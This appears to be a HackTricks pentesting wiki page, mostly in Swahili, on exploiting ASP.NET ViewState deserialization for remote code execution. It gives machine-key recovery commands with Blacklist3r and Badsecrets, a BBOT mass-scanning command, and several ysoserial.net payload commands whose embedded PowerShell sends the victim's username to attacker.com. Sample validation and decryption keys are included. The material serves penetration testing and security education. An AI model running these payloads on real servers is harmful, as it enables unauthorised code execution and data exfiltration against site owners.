mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
183 lines
14 KiB
Markdown
183 lines
14 KiB
Markdown
# Exploiting \_\_VIEWSTATE without knowing the secrets
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## What is ViewState
|
||
|
||
**ViewState** inatumika kama mekanizma ya kawaida katika ASP.NET kuhifadhi data za ukurasa na udhibiti kati ya kurasa za wavuti. Wakati wa uwasilishaji wa HTML ya ukurasa, hali ya sasa ya ukurasa na thamani zinazopaswa kuhifadhiwa wakati wa postback zinahifadhiwa katika nyuzi za base64. Nyuzi hizi kisha zinawekwa katika maeneo ya siri ya ViewState.
|
||
|
||
Taarifa za ViewState zinaweza kuainishwa kwa mali zifuatazo au mchanganyiko wao:
|
||
|
||
- **Base64**:
|
||
- Muundo huu unatumika wakati sifa za `EnableViewStateMac` na `ViewStateEncryptionMode` zimewekwa kuwa za uongo.
|
||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||
- Kuanzishwa kwa MAC kunapatikana kwa kuweka sifa ya `EnableViewStateMac` kuwa ya kweli. Hii inatoa uthibitisho wa uadilifu kwa data za ViewState.
|
||
- **Base64 + Encrypted**:
|
||
- Usimbaji unatumika wakati sifa ya `ViewStateEncryptionMode` imewekwa kuwa ya kweli, kuhakikisha usiri wa data za ViewState.
|
||
|
||
## Test Cases
|
||
|
||
Picha ni jedwali linaloelezea usanidi tofauti wa ViewState katika ASP.NET kulingana na toleo la .NET framework. Hapa kuna muhtasari wa maudhui:
|
||
|
||
1. Kwa **toleo lolote la .NET**, wakati MAC na Usimbaji zimezimwa, MachineKey haitahitajika, na hivyo hakuna njia inayofaa ya kuibaini.
|
||
2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Usimbaji haujawezeshwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inaitwa "Blacklist3r."
|
||
3. Kwa **matoleo chini ya 4.5**, bila kujali ikiwa MAC imewezeshwa au la, ikiwa Usimbaji umewezeshwa, MachineKey inahitajika. Kuibaini MachineKey ni kazi ya "Blacklist3r - Maendeleo ya Baadaye."
|
||
4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Usimbaji (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) yanahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r."
|
||
|
||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||
|
||
Pia inawezekana kuzima ViewStateMAC kabisa kwa kuweka funguo ya rejista `AspNetEnforceViewStateMac` kuwa sifuri katika:
|
||
```
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||
```
|
||
**Kutambua Sifa za ViewState**
|
||
|
||
Unaweza kujaribu kutambua ikiwa ViewState ina ulinzi wa MAC kwa kukamata ombi lililo na parameta hii kwa kutumia BurpSuite. Ikiwa Mac haitumiki kulinda parameta hiyo unaweza kuitumia kwa kutumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||
```
|
||
### Test case 1.5 – Kama Test case 1 lakini cookie ya ViewState haitumwi na server
|
||
|
||
Wakandarasi wanaweza **kuondoa ViewState** ili isiwe sehemu ya Ombi la HTTP (mtumiaji hatapokea cookie hii).\
|
||
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea kutokana na deserialization ya ViewState.\
|
||
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosajiliwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**.
|
||
|
||
### Test Case: 2 – .Net < 4.5 na EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||
|
||
Ili **kuwezesha ViewState MAC** kwa **ukurasa maalum** tunahitaji kufanya mabadiliko yafuatayo kwenye faili maalum la aspx:
|
||
```bash
|
||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||
```
|
||
Tunaweza pia kufanya hivyo kwa **jumla** ya programu kwa kuweka kwenye faili la **web.config** kama inavyoonyeshwa hapa chini:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<configuration>
|
||
<system.web>
|
||
<customErrors mode="Off" />
|
||
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
|
||
<pages enableViewStateMac="true" />
|
||
</system.web>
|
||
</configuration>
|
||
```
|
||
Kama parameter imekingwa na MAC wakati huu ili kufanikisha shambulio, kwanza tunahitaji funguo iliyotumika.
|
||
|
||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)kutafuta funguo iliyotumika.
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||
|
||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||
--modifier : __VIWESTATEGENERATOR parameter value
|
||
```
|
||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ni chombo kingine ambacho kinaweza kubaini machineKeys zinazojulikana. Imeandikwa kwa Python, hivyo tofauti na Blacklist3r, hakuna utegemezi wa Windows. Kwa viewstates za .NET, kuna matumizi ya "python blacklist3r", ambayo ni njia ya haraka zaidi ya kuitumia.
|
||
|
||
Inaweza kutolewa moja kwa moja na viewstate na generator:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||
```
|
||
|
||
|
||
Au, inaweza kuungana moja kwa moja na URL ya lengo na kujaribu kuchora viewstate kutoka kwa HTML:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||
```
|
||
|
||
|
||
Ili kutafuta viewstates zenye udhaifu kwa kiwango kikubwa, pamoja na uainishaji wa subdomain, moduli ya `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) inaweza kutumika:
|
||
```
|
||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||
```
|
||
|
||
|
||
Ikiwa umebahatika na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
|
||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||
```
|
||
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter ya `--generator` **bali hizi**:
|
||
```bash
|
||
--apppath="/" --path="/hello.aspx"
|
||
```
|
||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||
|
||
Katika hii haijulikani kama parameter inalindwa na MAC. Hivyo, thamani hiyo labda imefungwa na **utahitaji Machine Key ili kufunga payload yako** ili kutumia udhaifu huo.
|
||
|
||
**Katika kesi hii** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduli iko katika maendeleo...**
|
||
|
||
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyo na usimbuaji** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyo na usimbuaji, bado itashughulikiwa.**
|
||
|
||
Hivyo, ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi ya 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState.
|
||
|
||
- Ondoa `__VIEWSTATEENCRYPTED` parameter kutoka kwa ombi ili kutumia udhaifu wa deserialization wa ViewState, vinginevyo itarudisha kosa la uthibitishaji wa Viewstate MAC na shambulio litashindwa.
|
||
|
||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||
|
||
Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter iliyo hapa chini ndani ya faili ya web.config kama inavyoonyeshwa hapa chini.
|
||
```xml
|
||
<httpRuntime targetFramework="4.5" />
|
||
```
|
||
Vinginevyo, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya parameter ya `machineKey` ya faili la web.config.
|
||
```bash
|
||
compatibilityMode="Framework45"
|
||
```
|
||
Kama ilivyo katika awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.**
|
||
|
||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)kutafuta funguo inayotumika:
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||
|
||
--encrypteddata = {__VIEWSTATE parameter value}
|
||
--IISDirPath = {Directory path of website in IIS}
|
||
--TargetPagePath = {Target page path in application}
|
||
```
|
||
Kwa maelezo ya kina zaidi kuhusu IISDirPath na TargetPagePath [rejea hapa](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
|
||
Au, na [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (ikiwa na thamani ya jenereta):
|
||
```bash
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||
```
|
||
|
||
|
||
Mara tu funguo la Mashine halali limepatikana, **hatua inayofuata ni kuzalisha payload iliyosimbwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
```
|
||
Ikiwa una thamani ya `__VIEWSTATEGENERATOR` unaweza kujaribu **kutumia** parameter `--generator` na thamani hiyo na **kuacha** parameters `--path` na `--apppath`
|
||
|
||
|
||
|
||
Kufanikiwa kwa kutumia udhaifu wa deserialization ya ViewState kutasababisha ombi la nje ya mtandao kwenda kwenye seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa kutumia unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||
|
||
### Test Case 6 – ViewStateUserKeys inatumika
|
||
|
||
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **CSRF attack**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa njia zilizojadiliwa hadi sasa, **payload haitashughulikiwa na programu**.\
|
||
Unahitaji kutumia parameter moja zaidi ili kuunda payload kwa usahihi:
|
||
```bash
|
||
--viewstateuserkey="randomstringdefinedintheserver"
|
||
```
|
||
### Matokeo ya Utekelezaji Uliofanikiwa <a href="#poc" id="poc"></a>
|
||
|
||
Kwa kesi zote za majaribio, ikiwa payload ya ViewState YSoSerial.Net inafanya kazi **kwa mafanikio** basi seva inajibu na “**500 Internal server error**” ikiwa na maudhui ya majibu “**Taarifa ya hali si halali kwa ukurasa huu na inaweza kuwa imeharibika**” na tunapata ombi la OOB.
|
||
|
||
Angalia [maelezo zaidi hapa](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||
|
||
## Marejeleo
|
||
|
||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|